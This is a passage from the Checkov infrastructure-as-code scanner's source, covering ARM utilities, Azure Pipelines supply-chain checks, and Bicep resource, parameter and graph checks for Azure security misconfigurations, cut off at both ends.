RunnerFilter) -> None: """Adds graph check results to given report""" graph_checks_results = self.run_graph_checks_results(runner_filter, self.check_type) for check, check_results in graph_checks_results.items(): for check_result in check_results: entity = check_result["entity"] entity_file_path = entity[CustomAttributes.FILE_PATH] file_abs_path = Path(entity_file_path).absolute() start_line = entity[START_LINE] - 1 end_line = entity[END_LINE] - 1 if CustomAttributes.RESOURCE_TYPE not in entity or CustomAttributes.BLOCK_NAME not in entity: logging.debug(f"Could not determine 'resource_id' of Entity {entity_file_path}") continue self.build_record( report=report, check=check, check_result=check_result, code_block=self.definitions_raw[entity_file_path][start_line:end_line], file_path=self.extract_file_path_from_abs_path(clean_file_path(Path(entity_file_path))), file_abs_path=str(file_abs_path), file_line_range=[start_line - 1, end_line - 1], resource_id=f'{entity[CustomAttributes.RESOURCE_TYPE]}.{entity[CustomAttributes.BLOCK_NAME]}', ) def build_record( self, report: Report, check: BaseCheck | BaseGraphCheck, check_result: _CheckResult, code_block: list[tuple[int, str]], file_path: str, file_abs_path: str, file_line_range: list[int], resource_id: str, evaluations: dict[str, Any] | None = None, ) -> None: record = Record( check_id=check.id, bc_check_id=check.bc_id, check_name=check.name, check_result=check_result, code_block=code_block, file_path=file_path, file_line_range=file_line_range, resource=resource_id, evaluations=evaluations, check_class=check.__class__.__module__, file_abs_path=file_abs_path, severity=check.severity, ) if self.breadcrumbs: breadcrumb = self.breadcrumbs.get(record.file_path, {}).get(record.resource) if breadcrumb: record = GraphRecord(record, breadcrumb) record.set_guideline(check.guideline) report.add_record(record=record) def extract_file_path_from_abs_path(self, path: Path) -> str: return f"{os.path.sep}{os.path.relpath(path, self.root_folder)}" ================================================ FILE: checkov/arm/utils.py ================================================ from __future__ import annotations import logging import os from enum import Enum from typing import Iterable, Callable, Any from collections.abc import Collection from pathlib import Path from checkov.arm.parser.parser import parse from checkov.common.output.report import Report from checkov.common.runners.base_runner import filter_ignored_paths from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.runner_filter import RunnerFilter ARM_POSSIBLE_ENDINGS = [".json"] class ArmElements(str, Enum): OUTPUTS = "outputs" PARAMETERS = "parameters" RESOURCES = "resources" VARIABLES = "variables" def __str__(self) -> str: # needed, because of a Python 3.11 change return self.value def get_scannable_file_paths(root_folder: str | None = None, excluded_paths: list[str] | None = None) -> set[str]: """Finds ARM files""" file_paths: "set[str]" = set() if not root_folder: return file_paths for root, d_names, f_names in os.walk(root_folder): filter_ignored_paths(root, d_names, excluded_paths) filter_ignored_paths(root, f_names, excluded_paths) for file in f_names: file_ending = os.path.splitext(file)[1] if file_ending in ARM_POSSIBLE_ENDINGS: file_paths.add(os.path.join(root, file)) return file_paths def create_definitions( root_folder: str, files: Collection[Path] | None = None, runner_filter: RunnerFilter | None = None, ) -> tuple[dict[str, dict[str, Any]], dict[str, list[tuple[int, str]]]]: definitions: dict[str, dict[str, Any]] = {} definitions_raw: dict[str, list[tuple[int, str]]] = {} parsing_errors: list[str] = [] runner_filter = runner_filter or RunnerFilter() if root_folder: file_paths = get_scannable_file_paths(root_folder, runner_filter.excluded_paths) definitions, definitions_raw, parsing_errors = get_files_definitions(files=file_paths) if parsing_errors: logging.warning(f"[arm] found errors while parsing definitions: {parsing_errors}") return definitions, definitions_raw def get_files_definitions( files: Iterable[str], filepath_fn: Callable[[str], str] | None = None, ) -> tuple[dict[str, dict[str, Any]], dict[str, list[tuple[int, str]]], list[str]]: """Parses ARM files into its definitions and raw data""" definitions = {} definitions_raw = {} parsing_errors = [] for file in files: result = parse(file) definition, definition_raw = result if definition is not None and definition_raw is not None: # this has to be a 'None' check path = filepath_fn(file) if filepath_fn else file definitions[path] = definition definitions_raw[path] = definition_raw else: parsing_errors.append(os.path.normpath(file)) return definitions, definitions_raw, parsing_errors def extract_resource_name_from_resource_id_func(resource_id: str) -> str: ''' Examples: resourceId('Microsoft.Network/virtualNetworks/', virtualNetworkName) -> virtualNetworkName ''' return clean_string(resource_id.split(',')[1].split(')')[0]) def extract_resource_name_from_reference_func(reference: str) -> str: ''' Examples: reference('storageAccountName') -> storageAccountName reference('myStorage').primaryEndpoints -> myStorage reference('myStorage', '2022-09-01', 'Full').location -> myStorage reference(resourceId('storageResourceGroup', 'Microsoft.Storage/storageAccounts', 'storageAccountName')), '2022-09-01') -> storageAccountName reference(resourceId('Microsoft.Network/publicIPAddresses', 'ipAddressName')) -> ipAddressName ''' resource_name = ')'.join(reference.split('reference(', 1)[1].split(')')[:-1]) if 'resourceId' in resource_name: return clean_string( ''.join(resource_name.split('resourceId(', 1)[1].split(')')[0]).split(',')[-1]) else: return clean_string(resource_name.split(',')[0].split('/')[-1]) def clean_string(input: str) -> str: return input.replace("'", '').replace(" ", "") def clean_file_path(file_path: Path) -> Path: path_parts = [part for part in file_path.parts if part not in (".", "..")] return Path(*path_parts) def filter_failed_checks_with_unrendered_resources(report: Report) -> Report: """Returns a new report with filtered checks instead of modifying the original""" arm_function_patterns = ['toLower(', 'trim(', 'join(', 'split(', 'substring('] filtered_report = pickle_deepcopy(report) filtered_report.failed_checks = [ check for check in report.failed_checks if not any(func in str(check.resource) for func in arm_function_patterns) ] return filtered_report ================================================ FILE: checkov/azure_pipelines/__init__.py ================================================ from checkov.azure_pipelines.checks import * # noqa ================================================ FILE: checkov/azure_pipelines/checks/__init__.py ================================================ from checkov.azure_pipelines.checks.job import * # noqa ================================================ FILE: checkov/azure_pipelines/checks/base_azure_pipelines_check.py ================================================ from __future__ import annotations from abc import abstractmethod from collections.abc import Iterable from typing import TYPE_CHECKING, Any from checkov.common.checks.base_check import BaseCheck from checkov.azure_pipelines.checks.registry import registry if TYPE_CHECKING: from checkov.common.models.enums import CheckCategories, CheckResult class BaseAzurePipelinesCheck(BaseCheck): def __init__( self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str], block_type: str, path: str | None = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type=block_type, ) self.path = path registry.register(self) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: self.entity_type = entity_type return self.scan_conf(conf) @abstractmethod def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: pass ================================================ FILE: checkov/azure_pipelines/checks/job/ContainerDigest.py ================================================ from __future__ import annotations from typing import Any from checkov.azure_pipelines.checks.base_azure_pipelines_check import BaseAzurePipelinesCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.yaml_doc.enums import BlockType class ContainerDigest(BaseAzurePipelinesCheck): def __init__(self) -> None: name = "Ensure container job uses a version digest" id = "CKV_AZUREPIPELINES_2" super().__init__( name=name, id=id, categories=(CheckCategories.SUPPLY_CHAIN,), supported_entities=("jobs", "stages[].jobs[]"), block_type=BlockType.ARRAY, ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: container = conf.get("container") if container and isinstance(container, str): if "@" in container: return CheckResult.PASSED, conf return CheckResult.FAILED, conf return CheckResult.UNKNOWN, conf check = ContainerDigest() ================================================ FILE: checkov/azure_pipelines/checks/job/ContainerLatestTag.py ================================================ from __future__ import annotations from typing import Any from checkov.azure_pipelines.checks.base_azure_pipelines_check import BaseAzurePipelinesCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.yaml_doc.enums import BlockType class ContainerLatestTag(BaseAzurePipelinesCheck): def __init__(self) -> None: name = "Ensure container job uses a non latest version tag" id = "CKV_AZUREPIPELINES_1" super().__init__( name=name, id=id, categories=(CheckCategories.SUPPLY_CHAIN,), supported_entities=("jobs", "stages[].jobs[]"), block_type=BlockType.ARRAY, ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: container = conf.get("container") if container and isinstance(container, dict): container = container.get('image') if container and isinstance(container, str): if ":" in container: # some image tag if container.split(":")[1] == "latest": # latest image tag return CheckResult.FAILED, conf elif "@" not in container: # no image tag return CheckResult.FAILED, conf # image tag is either not latest or a digest return CheckResult.PASSED, conf return CheckResult.UNKNOWN, conf check = ContainerLatestTag() ================================================ FILE: checkov/azure_pipelines/checks/job/DetectImagesUsage.py ================================================ from __future__ import annotations from typing import Any from checkov.azure_pipelines.checks.base_azure_pipelines_check import BaseAzurePipelinesCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.yaml_doc.enums import BlockType class DetectImageUsage(BaseAzurePipelinesCheck): def __init__(self) -> None: name = "Detecting image usages in azure pipelines workflows" id = "CKV_AZUREPIPELINES_5" super().__init__( name=name, id=id, categories=(CheckCategories.SUPPLY_CHAIN,), supported_entities=("jobs[]", "stages[].jobs[]", "*.container[]"), block_type=BlockType.ARRAY, ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: return CheckResult.PASSED, conf check = DetectImageUsage() ================================================ FILE: checkov/azure_pipelines/checks/job/SetSecretVariable.py ================================================ from __future__ import annotations from typing import Any from checkov.azure_pipelines.checks.base_azure_pipelines_check import BaseAzurePipelinesCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.yaml_doc.enums import BlockType class SetSecretVariable(BaseAzurePipelinesCheck): def __init__(self) -> None: name = "Ensure set variable is not marked as a secret" id = "CKV_AZUREPIPELINES_3" super().__init__( name=name, id=id, categories=(CheckCategories.SUPPLY_CHAIN,), supported_entities=("jobs[].steps[]", "stages[].jobs[].steps[]"), block_type=BlockType.ARRAY, ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: run_cmd = conf.get("bash") or conf.get("powershell") if run_cmd and isinstance(run_cmd, str): variable_found = False for line in run_cmd.splitlines(): if "task.setvariable" in line: variable_found = True if "issecret=true" in line: return CheckResult.FAILED, conf if variable_found: # should only pass, if it really found a set variable, otherwise unknown return CheckResult.PASSED, conf return CheckResult.UNKNOWN, conf check = SetSecretVariable() ================================================ FILE: checkov/azure_pipelines/checks/job/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/azure_pipelines/checks/registry.py ================================================ from checkov.common.bridgecrew.check_type import CheckType from checkov.yaml_doc.base_registry import Registry registry = Registry(CheckType.AZURE_PIPELINES) ================================================ FILE: checkov/azure_pipelines/common/__init__.py ================================================ ================================================ FILE: checkov/azure_pipelines/common/resource_id_utils.py ================================================ from __future__ import annotations from typing import Any, Dict, List from checkov.common.util.consts import START_LINE, END_LINE def _get_resource_from_code_block(start_line: int, end_line: int, block_to_inspect: dict[str, Any], inspected_key: str | None) -> str | None: if block_to_inspect[START_LINE] <= start_line <= end_line <= block_to_inspect[END_LINE]: block_name = block_to_inspect.get('displayName', block_to_inspect.get('name', block_to_inspect.get('job', block_to_inspect.get('stage', False)))) inspected_key = f'{inspected_key}({block_name})' if block_name else inspected_key if block_to_inspect[START_LINE] == start_line: return inspected_key return generate_resource_key_recursive(start_line, end_line, block_to_inspect, resource_key=inspected_key) return None def generate_resource_key_recursive(start_line: int, end_line: int, file_conf: Dict[str, Any] | List[Dict[str, Any]], resource_key: str | None = None ) -> str | None: if not isinstance(file_conf, dict): return resource_key for code_block_name, code_block in file_conf.items(): if isinstance(code_block, dict): new_key = f'{resource_key}.{code_block_name}' if resource_key else code_block_name resource = _get_resource_from_code_block(start_line, end_line, code_block, new_key) if resource: return resource elif isinstance(code_block, list): for index, item in enumerate(code_block): if isinstance(item, dict): resource_key_to_inspect = f'{resource_key}.{code_block_name}[{index}]' if resource_key else f'{code_block_name}[{index}]' resource = _get_resource_from_code_block(start_line, end_line, item, resource_key_to_inspect) if resource: return resource return resource_key ================================================ FILE: checkov/azure_pipelines/runner.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING, Any, Optional from checkov.azure_pipelines.checks.registry import registry from checkov.azure_pipelines.common.resource_id_utils import generate_resource_key_recursive from checkov.common.output.report import CheckType, Report from checkov.runner_filter import RunnerFilter from checkov.yaml_doc.runner import Runner as YamlRunner if TYPE_CHECKING: from checkov.common.checks.base_check_registry import BaseCheckRegistry from collections.abc import Iterable class Runner(YamlRunner): check_type = CheckType.AZURE_PIPELINES # noqa: CCE003 # a static attribute def require_external_checks(self) -> bool: return False def import_registry(self) -> BaseCheckRegistry: return registry @staticmethod def _parse_file( f: str, file_content: str | None = None ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None: if Runner.is_workflow_file(f): return YamlRunner._parse_file(f=f) return None @staticmethod def is_workflow_file(file_path: str) -> bool: return file_path.endswith(('azure-pipelines.yml', 'azure-pipelines.yaml')) def get_resource(self, file_path: str, key: str, supported_entities: Iterable[str], start_line: int = -1, end_line: int = -1, graph_resource: bool = False) -> str: if not self.definitions or not isinstance(self.definitions, dict): return key resource_name: Optional[str] = generate_resource_key_recursive(start_line, end_line, self.definitions[file_path]) return resource_name if resource_name else key def run( self, root_folder: str | None = None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True, ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() report = super().run(root_folder=root_folder, external_checks_dir=external_checks_dir, files=files, runner_filter=runner_filter, collect_skip_comments=collect_skip_comments) return report ================================================ FILE: checkov/bicep/__init__.py ================================================ from checkov.bicep.checks import * # noqa ================================================ FILE: checkov/bicep/checks/__init__.py ================================================ ================================================ FILE: checkov/bicep/checks/graph_checks/SQLServerAuditingEnabled.yaml ================================================ metadata: id: "CKV_AZURE_23" name: "Ensure that 'Auditing' is set to 'On' for SQL servers" category: "LOGGING" definition: and: - cond_type: filter attribute: resource_type operator: within value: - Microsoft.Sql/servers - Microsoft.Sql/servers/databases - or: - and: - cond_type: connection resource_types: - Microsoft.Sql/servers connected_resource_types: - Microsoft.Sql/servers/auditingSettings operator: exists - cond_type: attribute resource_types: - Microsoft.Sql/servers/auditingSettings attribute: properties.state operator: equals value: Enabled - and: - cond_type: connection resource_types: - Microsoft.Sql/servers/databases connected_resource_types: - Microsoft.Sql/servers/databases/auditingSettings operator: exists - cond_type: attribute resource_types: - Microsoft.Sql/servers/databases/auditingSettings attribute: properties.state operator: equals value: Enabled ================================================ FILE: checkov/bicep/checks/graph_checks/SQLServerAuditingRetention90Days.yaml ================================================ metadata: id: "CKV_AZURE_24" name: "Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers" category: "LOGGING" definition: and: - cond_type: "filter" attribute: "resource_type" value: - "Microsoft.Sql/servers" operator: "within" - cond_type: "connection" resource_types: - "Microsoft.Sql/servers" connected_resource_types: - "Microsoft.Sql/servers/auditingSettings" operator: "exists" - cond_type: "attribute" resource_types: - "Microsoft.Sql/servers/auditingSettings" attribute: "properties.retentionDays" operator: "exists" - cond_type: "attribute" resource_types: - "Microsoft.Sql/servers/auditingSettings" attribute: "properties.retentionDays" operator: "greater_than_or_equal" value: 90 - cond_type: "attribute" resource_types: - "Microsoft.Sql/servers/auditingSettings" attribute: "properties.state" operator: "equals" value: Enabled ================================================ FILE: checkov/bicep/checks/graph_checks/SQLServerThreatDetectionTypes.yaml ================================================ metadata: id: "CKV_AZURE_25" name: "Azure SQL Server threat detection alerts are enabled for all threat types" category: "LOGGING" definition: and: - cond_type: filter attribute: resource_type operator: within value: - Microsoft.Sql/servers - Microsoft.Sql/servers/databases - or: - and: - cond_type: connection resource_types: - Microsoft.Sql/servers connected_resource_types: - Microsoft.Sql/servers/securityAlertPolicies operator: exists - cond_type: attribute resource_types: - Microsoft.Sql/servers/securityAlertPolicies attribute: properties.state operator: equals value: Enabled - or: - cond_type: attribute resource_types: - Microsoft.Sql/servers/securityAlertPolicies attribute: properties.disabledAlerts operator: is_empty - cond_type: attribute resource_types: - Microsoft.Sql/servers/securityAlertPolicies attribute: properties.disabledAlerts operator: not_exists - and: - cond_type: connection resource_types: - Microsoft.Sql/servers/databases connected_resource_types: - Microsoft.Sql/servers/databases/securityAlertPolicies operator: exists - cond_type: attribute resource_types: - Microsoft.Sql/servers/databases/securityAlertPolicies attribute: properties.state operator: equals value: Enabled - or: - cond_type: attribute resource_types: - Microsoft.Sql/servers/databases/securityAlertPolicies attribute: properties.disabledAlerts operator: is_empty - cond_type: attribute resource_types: - Microsoft.Sql/servers/databases/securityAlertPolicies attribute: properties.disabledAlerts operator: not_exists ================================================ FILE: checkov/bicep/checks/graph_checks/__init__.py ================================================ ================================================ FILE: checkov/bicep/checks/param/__init__.py ================================================ from checkov.bicep.checks.param.azure import * # noqa ================================================ FILE: checkov/bicep/checks/param/azure/SecureStringParameterNoHardcodedValue.py ================================================ from checkov.bicep.checks.param.base_param_check import BaseParamCheck, CheckovParameterAttributes from checkov.common.models.enums import CheckResult, CheckCategories # https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/test-cases#secure-parameters-cant-have-hardcoded-default class SecureStringParameterNoHardcodedValue(BaseParamCheck): def __init__(self) -> None: name = "SecureString parameter should not have hardcoded default values" id = "CKV_AZURE_131" supported_type = ("string",) categories = (CheckCategories.SECRETS,) super().__init__(name=name, id=id, categories=categories, supported_type=supported_type) def scan_param_conf(self, conf: CheckovParameterAttributes) -> CheckResult: if not any(decorator["type"] == "secure" for decorator in conf["decorators"]): # if the decorator '@secure()' is not set, then it is a normal string return CheckResult.UNKNOWN default_value = conf.get("default") if default_value: # should be missing, or an empty string conf["CKV_AZURE_131_secret"] = str(default_value) return CheckResult.FAILED else: return CheckResult.PASSED check = SecureStringParameterNoHardcodedValue() ================================================ FILE: checkov/bicep/checks/param/azure/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/bicep/checks/param/base_param_check.py ================================================ from __future__ import annotations from abc import abstractmethod from collections.abc import Iterable from typing import TYPE_CHECKING from pycep.typing import ParameterAttributes from checkov.bicep.checks.param.registry import registry from checkov.common.checks.base_check import BaseCheck from checkov.common.models.enums import CheckCategories, CheckResult if TYPE_CHECKING: from typing_extensions import NotRequired class CheckovParameterAttributes(ParameterAttributes): CKV_AZURE_131_secret: NotRequired[str] # noqa class BaseParamCheck(BaseCheck): def __init__( self, name: str, id: str, categories: "Iterable[CheckCategories]", supported_type: "Iterable[str]", guideline: str | None = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_type, block_type="param", guideline=guideline, ) self.supported_type = supported_type registry.register(self) def scan_entity_conf(self, conf: CheckovParameterAttributes, entity_type: str) -> CheckResult: # type:ignore[override] # it's ok self.entity_type = entity_type return self.scan_param_conf(conf) @abstractmethod def scan_param_conf(self, conf: CheckovParameterAttributes) -> CheckResult: raise NotImplementedError() ================================================ FILE: checkov/bicep/checks/param/base_registry.py ================================================ from __future__ import annotations from collections import defaultdict from typing import TYPE_CHECKING from checkov.common.bridgecrew.check_type import CheckType from checkov.common.checks.base_check import BaseCheck from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.runner_filter import RunnerFilter if TYPE_CHECKING: from pycep.typing import ParameterAttributes class Registry(BaseCheckRegistry): def __init__(self) -> None: self.entity_to_check_map: dict[str, set[str]] = defaultdict(set) super().__init__(report_type=CheckType.BICEP) def register(self, check: BaseCheck) -> None: if self._BaseCheckRegistry__loading_external_checks: # type:ignore[attr-defined] # they exist RunnerFilter.notify_external_check(check.id) for entity in check.supported_entities: checks = self.wildcard_checks if self._is_wildcard(entity) else self.checks if check.id not in self.entity_to_check_map[entity]: checks[entity].append(check) self.entity_to_check_map[entity].add(check.id) self._BaseCheckRegistry__all_registered_checks.append(check) # type:ignore[attr-defined] # they exist def extract_entity_details(self, entity: dict[str, ParameterAttributes]) -> tuple[str, str, ParameterAttributes]: # type:ignore[override] # it's ok param_name, param = next(iter(entity.items())) param_type = param["type"] return param_type, param_name, param ================================================ FILE: checkov/bicep/checks/param/registry.py ================================================ from checkov.bicep.checks.param.base_registry import Registry registry = Registry() ================================================ FILE: checkov/bicep/checks/resource/__init__.py ================================================ from checkov.bicep.checks.resource.azure import * # noqa ================================================ FILE: checkov/bicep/checks/resource/azure/StorageAccountAzureServicesAccessEnabled.py ================================================ from __future__ import annotations from typing import Any from checkov.bicep.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class StorageAccountAzureServicesAccessEnabled(BaseResourceCheck): def __init__(self) -> None: name = "Ensure 'Trusted Microsoft Services' is enabled for Storage Account access" id = "CKV_AZURE_36" supported_resources = ("Microsoft.Storage/storageAccounts",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: self.evaluated_keys = ["properties/networkAcls/defaultAction"] properties = conf.get("properties") if properties: if not isinstance(properties, dict): return CheckResult.UNKNOWN nacls = properties.get("networkAcls") if nacls and isinstance(nacls, dict): default_action = nacls.get("defaultAction") if default_action == "Deny": bypass = nacls.get("bypass") if not bypass or bypass == "None": self.evaluated_keys.append("properties/networkAcls/bypass") return CheckResult.FAILED return CheckResult.PASSED check = StorageAccountAzureServicesAccessEnabled() ================================================ FILE: checkov/bicep/checks/resource/azure/StorageAccountDefaultNetworkAccessDeny.py ================================================ from __future__ import annotations from typing import Any from checkov.bicep.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class StorageAccountDefaultNetworkAccessDeny(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure default network access rule for Storage Accounts is set to deny" id = "CKV_AZURE_35" supported_resources = ("Microsoft.Storage/storageAccounts",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/networkAcls/defaultAction" def get_expected_value(self) -> Any: return "Deny" check = StorageAccountDefaultNetworkAccessDeny() ================================================ FILE: checkov/bicep/checks/resource/azure/StorageAccountsTransportEncryption.py ================================================ from __future__ import annotations from typing import Any from checkov.bicep.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import force_int class StorageAccountsTransportEncryption(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that 'supportsHttpsTrafficOnly' is set to 'true'" id = "CKV_AZURE_3" supported_resources = ("Microsoft.Storage/storageAccounts",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: self.evaluated_keys = ["properties/supportsHttpsTrafficOnly"] properties = conf.get("properties") if properties: if not isinstance(properties, dict): return CheckResult.UNKNOWN https_only = properties.get("supportsHttpsTrafficOnly") if https_only is True: return CheckResult.PASSED elif https_only is False: return CheckResult.FAILED year = force_int(self.api_version[:4]) if year is None: return CheckResult.UNKNOWN elif year < 2019: return CheckResult.FAILED return CheckResult.PASSED check = StorageAccountsTransportEncryption() ================================================ FILE: checkov/bicep/checks/resource/azure/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/bicep/checks/resource/base_registry.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.common.checks.base_check import BaseCheck from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.checks_infra.registry import get_graph_checks_registry from checkov.common.output.report import CheckType from checkov.runner_filter import RunnerFilter if TYPE_CHECKING: from pycep.typing import ResourceAttributes class Registry(BaseCheckRegistry): def __init__(self) -> None: self.check_id_to_enitity_map: dict[str, list[str]] = {} self.graph_registry = get_graph_checks_registry(CheckType.BICEP) self.graph_registry.load_checks() self.graph_check_ids = [check.id for check in self.graph_registry.checks] super().__init__(report_type=CheckType.BICEP) def register(self, check: BaseCheck) -> None: # a copy of the original method to be able to prioritize Bicep styled checks over the ARM equivalent if self._BaseCheckRegistry__loading_external_checks: # type:ignore[attr-defined] # they exist RunnerFilter.notify_external_check(check.id) # don't add an ARM check, if a Bicep graph check exists for it if check.id in self.graph_check_ids: return # remove the ARM check, if a Bicep check with the same check ID exists if check.id in self.check_id_to_enitity_map.keys(): if check.__module__.split(".")[1] != "bicep": return entities = self.check_id_to_enitity_map[check.id] for entity in entities: checks = self.wildcard_checks if self._is_wildcard(entity) else self.checks check_idx = next((idx for idx, c in enumerate(checks[entity]) if c.id == check.id), None) if check_idx is not None: del checks[entity][check_idx] del self.check_id_to_enitity_map[check.id] for entity in check.supported_entities: checks = self.wildcard_checks if self._is_wildcard(entity) else self.checks checks[entity].append(check) self.check_id_to_enitity_map.setdefault(check.id, []).append(entity) self._BaseCheckRegistry__all_registered_checks.append(check) # type:ignore[attr-defined] # they exist def extract_entity_details(self, entity: dict[str, ResourceAttributes]) -> tuple[str, str, ResourceAttributes]: # type:ignore[override] # it's ok resource_name, resource = next(iter(entity.items())) resource_type = resource["type"] return resource_type, resource_name, resource ================================================ FILE: checkov/bicep/checks/resource/base_resource_check.py ================================================ from __future__ import annotations from abc import abstractmethod from collections.abc import Iterable from typing import Any, TYPE_CHECKING from checkov.bicep.checks.resource.registry import registry from checkov.common.checks.base_check import BaseCheck from checkov.common.models.enums import CheckCategories, CheckResult if TYPE_CHECKING: from pycep.typing import ResourceAttributes class BaseResourceCheck(BaseCheck): def __init__( self, name: str, id: str, categories: "Iterable[CheckCategories]", supported_resources: "Iterable[str]", guideline: str | None = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_resources, block_type="resource", guideline=guideline, ) self.supported_resources = supported_resources registry.register(self) def scan_entity_conf(self, conf: ResourceAttributes, entity_type: str) -> CheckResult: # type:ignore[override] # it's ok if conf["existing"] is True: # the existing keyword is used to retrieve information about an already deployed resource return CheckResult.UNKNOWN self.entity_type = entity_type self.api_version = conf["api_version"] return self.scan_resource_conf(conf["config"]) @abstractmethod def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: raise NotImplementedError() ================================================ FILE: checkov/bicep/checks/resource/base_resource_value_check.py ================================================ from __future__ import annotations from abc import abstractmethod from collections.abc import Iterable from typing import Any from checkov.bicep.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.models.consts import ANY_VALUE from checkov.common.util.data_structures_utils import find_in_dict class BaseResourceValueCheck(BaseResourceCheck): def __init__( self, name: str, id: str, categories: "Iterable[CheckCategories]", supported_resources: "Iterable[str]", guideline: str | None = None, missing_block_result: CheckResult = CheckResult.FAILED, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, guideline=guideline ) self.missing_block_result = missing_block_result def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: inspected_key = self.get_inspected_key() expected_values = self.get_expected_values() value = find_in_dict(conf, inspected_key) if value is None: return self.missing_block_result if ANY_VALUE in expected_values: return CheckResult.PASSED if value in expected_values: return CheckResult.PASSED # quite often string values are case-insensitive if isinstance(value, str) and value.lower() in [exp.lower() for exp in expected_values if isinstance(exp, str)]: return CheckResult.PASSED return self.missing_block_result @abstractmethod def get_inspected_key(self) -> str: """ :return: JSONPath syntax path of the checked attribute """ raise NotImplementedError() def get_expected_values(self) -> list[Any]: """ Override the method with the list of acceptable values if the check has more than one possible expected value, given the inspected key :return: List of expected values, defaults to a list of the expected value """ return [self.get_expected_value()] def get_expected_value(self) -> Any: """ Returns the default expected value, governed by provider best practices """ return True def get_evaluated_keys(self) -> list[str]: return [self.get_inspected_key()] ================================================ FILE: checkov/bicep/checks/resource/registry.py ================================================ from checkov.bicep.checks.resource.base_registry import Registry registry = Registry() ================================================ FILE: checkov/bicep/graph_builder/__init__.py ================================================ ================================================ FILE: checkov/bicep/graph_builder/context_definitions.py ================================================ from __future__ import annotations from pathlib import Path from typing import cast, List, Tuple, Dict, Any, TYPE_CHECKING from checkov.common.util.suppression import collect_suppressions_for_report if TYPE_CHECKING: from pycep.typing import BicepJson BICEP_COMMENT = "//" DEFINITIONS_KEYS_TO_PARSE = {"parameters": "parameters", "resources": "resources"} def build_definitions_context(definitions: Dict[Path, BicepJson], definitions_raw: Dict[Path, List[Tuple[int, str]]] ) -> Dict[str, Dict[str, Any]]: definitions_context: Dict[str, Dict[str, Any]] = {} for file_path_object, file_path_definitions in definitions.items(): file_path = str(file_path_object) definitions_context[file_path] = {} for definition_attribute, resources in file_path_definitions.items(): if definition_attribute not in DEFINITIONS_KEYS_TO_PARSE.values(): continue definitions_context[file_path][definition_attribute] = {} # ignore mypy mismatched type warning since it can't resolve this type correctly for resource_key, resource_attributes in resources.items(): # type:ignore[attr-defined] definition_resource = {"start_line": resource_attributes["__start_line__"], "end_line": resource_attributes["__end_line__"]} if definition_attribute == DEFINITIONS_KEYS_TO_PARSE["resources"]: definition_key = f"{resource_attributes['type']}.{resource_key}" int_start_line = cast(int, definition_resource["start_line"]) int_end_line = cast(int, definition_resource["end_line"]) code_lines_for_suppressions_check = definitions_raw[file_path_object][int_start_line: int_end_line] definition_resource['skipped_checks'] = collect_suppressions_for_report(code_lines=code_lines_for_suppressions_check) elif definition_attribute == DEFINITIONS_KEYS_TO_PARSE["parameters"]: definition_key = resource_key definition_resource["type"] = resource_attributes['type'] start_line = resource_attributes["__start_line__"] end_line = resource_attributes["__end_line__"] # add resource comments to definition lines current_line = str.strip(definitions_raw[file_path_object][start_line - 1][1]) while not current_line or current_line[0] == BICEP_COMMENT: start_line -= 1 current_line = str.strip(definitions_raw[file_path_object][start_line - 1][1]) # remove next resource comments from definition lines current_line = str.strip(definitions_raw[file_path_object][end_line - 1][1]) while not current_line or current_line[0] == BICEP_COMMENT: end_line -= 1 current_line = str.strip(definitions_raw[file_path_object][end_line - 1][1]) definition_resource["code_lines"] = 